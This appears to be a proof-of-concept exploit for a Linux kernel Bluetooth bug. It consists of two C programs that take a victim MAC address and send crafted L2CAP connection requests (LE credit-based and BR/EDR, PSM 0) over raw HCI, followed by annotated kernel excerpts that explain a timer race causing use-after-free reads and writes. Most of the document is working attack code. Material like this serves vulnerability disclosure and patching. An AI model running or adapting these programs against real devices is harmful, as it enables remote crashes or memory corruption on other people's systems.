#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
typedef struct l2cap_le_conn_req {
        uint16_t     psm;
        uint16_t     scid;
        uint16_t     mtu;
        uint16_t     mps;
        uint16_t     credits;
} __attribute__ ((packed)) l2cap_le_conn_req;
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
  uint8_t type = HCI_ACLDATA_PKT;
  uint16_t BCflag = 0x0000;
  uint16_t PBflag = 0x0002;
  uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
  hci_acl_hdr hdr;
  hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
  hdr.dlen = data_length;
  struct iovec iv[3];
  iv[0].iov_base = &type;
  iv[0].iov_len = 1;
  iv[1].iov_base = &hdr;
  iv[1].iov_len = HCI_ACL_HDR_SIZE;
  iv[2].iov_base = data;
  iv[2].iov_len = data_length;
  return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}
#define L2CAP_CID_LE_SIGNALING  0x0005
#define L2CAP_LE_CONN_REQ       0x14
#define L2CAP_CID_SMP           0x0006
#define L2CAP_CID_SMP_BREDR     0x0007
int main(int argc, char **argv) {
  if (argc != 2) {
    printf("Usage: %s MAC_ADDR\n", argv[0]);
    return 1;
  }
  bdaddr_t dst_addr;
  str2ba(argv[1], &dst_addr);
  printf("[*] Resetting hci0 device...\n");
  system("sudo hciconfig hci0 down");
  system("sudo hciconfig hci0 up");
  printf("[*] Opening hci device...\n");
  struct hci_dev_info di;
  int hci_device_id = hci_get_route(NULL);
  int hci_socket = hci_open_dev(hci_device_id);
  if (hci_devinfo(hci_device_id, &di) < 0) {
    perror("hci_devinfo");
    return 1;
  }
  struct hci_filter flt;
  hci_filter_clear(&flt);
  hci_filter_all_ptypes(&flt);
  hci_filter_all_events(&flt);
  if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) {
    perror("setsockopt(HCI_FILTER)");
    return 1;
  }
  int opt = 1;
  if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) {
    perror("setsockopt(HCI_DATA_DIR)");
    return 1;
  }
  printf("[*] Connecting to victim...\n");
  struct sockaddr_l2 laddr = {0};
  laddr.l2_family = AF_BLUETOOTH;
  laddr.l2_bdaddr_type = BDADDR_LE_PUBLIC;
  laddr.l2_bdaddr = di.bdaddr;
  struct sockaddr_l2 raddr = {0};
  raddr.l2_family = AF_BLUETOOTH;
  raddr.l2_bdaddr_type = BDADDR_LE_PUBLIC;
  raddr.l2_bdaddr = dst_addr;
  int l2_sock;
  printf("[*] socket\n");
  if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
    perror("socket");
    return 1;
  }
  printf("[*] bind\n");
  if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
    perror("bind");
    return 1;
  }
  printf("[*] connect\n");
  if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
    perror("connect");
    return 1;
  }
  printf("[*] getsockopt\n");
  struct l2cap_conninfo l2_conninfo;
  socklen_t l2_conninfolen = sizeof(l2_conninfo);
  if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {
    perror("getsockopt");
    return 1;
  }
  uint16_t hci_handle = l2_conninfo.hci_handle;
  printf("[+] HCI handle: %x\n", hci_handle);
  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_le_conn_req req;
  } packet = {0};
  packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
  packet.hdr.cid = htobs(L2CAP_CID_LE_SIGNALING);
  packet.cmd_hdr.code = L2CAP_LE_CONN_REQ;
  packet.cmd_hdr.ident = 0x1;
  packet.cmd_hdr.len = sizeof(packet.req);
  packet.req.psm = htobs(0);
  packet.req.scid = htobs(0x42);
  packet.req.mtu = htobs(23);
  packet.req.mps = htobs(23);
  packet.req.credits = htobs(0xff);
  printf("[*] Sending malicious L2CAP packet...\n");
  hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));
  close(l2_sock);
  hci_close_dev(hci_socket);
  return 0;
}

#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
  uint8_t type = HCI_ACLDATA_PKT;
  uint16_t BCflag = 0x0000;
  uint16_t PBflag = 0x0002;
  uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
  hci_acl_hdr hdr;
  hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
  hdr.dlen = data_length;
  struct iovec iv[3];
  iv[0].iov_base = &type;
  iv[0].iov_len = 1;
  iv[1].iov_base = &hdr;
  iv[1].iov_len = HCI_ACL_HDR_SIZE;
  iv[2].iov_base = data;
  iv[2].iov_len = data_length;
  return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}
#define L2CAP_CID_SIGNALING     0x0001
#define L2CAP_CONN_REQ          0x02
#define L2CAP_CID_SMP           0x0006
#define L2CAP_CID_SMP_BREDR     0x0007
int main(int argc, char **argv) {
  if (argc != 2) {
    printf("Usage: %s MAC_ADDR\n", argv[0]);
    return 1;
  }
  bdaddr_t dst_addr;
  str2ba(argv[1], &dst_addr);
  printf("[*] Resetting hci0 device...\n");
  system("sudo hciconfig hci0 down");
  system("sudo hciconfig hci0 up");
  printf("[*] Opening hci device...\n");
  struct hci_dev_info di;
  int hci_device_id = hci_get_route(NULL);
  int hci_socket = hci_open_dev(hci_device_id);
  if (hci_devinfo(hci_device_id, &di) < 0) {
    perror("hci_devinfo");
    return 1;
  }
  struct hci_filter flt;
  hci_filter_clear(&flt);
  hci_filter_all_ptypes(&flt);
  hci_filter_all_events(&flt);
  if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) {
    perror("setsockopt(HCI_FILTER)");
    return 1;
  }
  int opt = 1;
  if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) {
    perror("setsockopt(HCI_DATA_DIR)");
    return 1;
  }
  printf("[*] Connecting to victim...\n");
  struct sockaddr_l2 laddr = {0};
  laddr.l2_family = AF_BLUETOOTH;
  laddr.l2_bdaddr_type = BDADDR_BREDR;
  laddr.l2_bdaddr = di.bdaddr;
  struct sockaddr_l2 raddr = {0};
  raddr.l2_family = AF_BLUETOOTH;
  raddr.l2_bdaddr_type = BDADDR_BREDR;
  raddr.l2_bdaddr = dst_addr;
  int l2_sock;
  printf("[*] socket\n");
  if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
    perror("socket");
    return 1;
  }
  printf("[*] bind\n");
  if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
    perror("bind");
    return 1;
  }
  printf("[*] connect\n");
  if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
    perror("connect");
    return 1;
  }
  printf("[*] getsockopt\n");
  struct l2cap_conninfo l2_conninfo;
  socklen_t l2_conninfolen = sizeof(l2_conninfo);
  if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {
    perror("getsockopt");
    return 1;
  }
  uint16_t hci_handle = l2_conninfo.hci_handle;
  printf("[+] HCI handle: %x\n", hci_handle);
  struct {
    l2cap_hdr hdr;
    l2cap_cmd_hdr cmd_hdr;
    l2cap_conn_req req;
  } packet = {0};
  packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
  packet.hdr.cid = htobs(L2CAP_CID_SIGNALING);
  packet.cmd_hdr.code = L2CAP_CONN_REQ;
  packet.cmd_hdr.ident = 0x1;
  packet.cmd_hdr.len = sizeof(packet.req);
  packet.req.psm = htobs(0);
  packet.req.scid = htobs(0x42);
  printf("[*] Sending malicious L2CAP packet...\n");
  hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));
  close(l2_sock);
  hci_close_dev(hci_socket);
  return 0;
}

static int l2cap_le_connect_req(...)
{
    ...
    mutex_lock(&conn->chan_lock);
    ...
    chan = pchan->ops->new_connection(pchan); // chan is not locked
    ...
    __set_chan_timer(chan, chan->ops->get_sndtimeo(chan)); // triggers l2cap_chan_timeout running from a different thread
    ...
    if (test_bit(FLAG_DEFER_SETUP, &chan->flags)) { // branch usually not taken
        ...
    } else {
        l2cap_chan_ready(chan); // calls __clear_chan_timer(chan), resets timer
        result = L2CAP_CR_LE_SUCCESS;
    }    
    ...
    mutex_unlock(&conn->chan_lock); // l2cap_chan_timeout is blocked until this call
    ...
    if (chan) { // [7] UAF read
        rsp.mtu = cpu_to_le16(chan->imtu);
        rsp.mps = cpu_to_le16(chan->mps);
    } else {
    ...
}

static struct l2cap_chan *l2cap_connect(...)
{
    ...
    mutex_lock(&conn->chan_lock);
    ...
    chan = pchan->ops->new_connection(pchan); // chan is not locked
    ...
    __set_chan_timer(chan, chan->ops->get_sndtimeo(chan)); // triggers l2cap_chan_timeout running from a different thread
    ...
    mutex_unlock(&conn->chan_lock); // l2cap_chan_timeout is blocked until this call
    ...
    if (chan && !test_bit(CONF_REQ_SENT, &chan->conf_state) && // UAF read
        result == L2CAP_CR_SUCCESS) {
        u8 buf[128];
        set_bit(CONF_REQ_SENT, &chan->conf_state); // UAF write
        l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,
                   l2cap_build_conf_req(chan, buf, sizeof(buf)), buf);
        chan->num_conf_req++;
    }
    return chan;
}

static inline struct l2cap_chan *smp_new_conn_cb(struct l2cap_chan *pchan)
{
    …
    chan->ops = &smp_chan_ops;
    …
}
static const struct l2cap_ops smp_chan_ops = {
    …
    .get_sndtimeo = l2cap_chan_no_get_sndtimeo,
    …
};
static inline long l2cap_chan_no_get_sndtimeo(struct l2cap_chan *chan)
{
    return 0;
}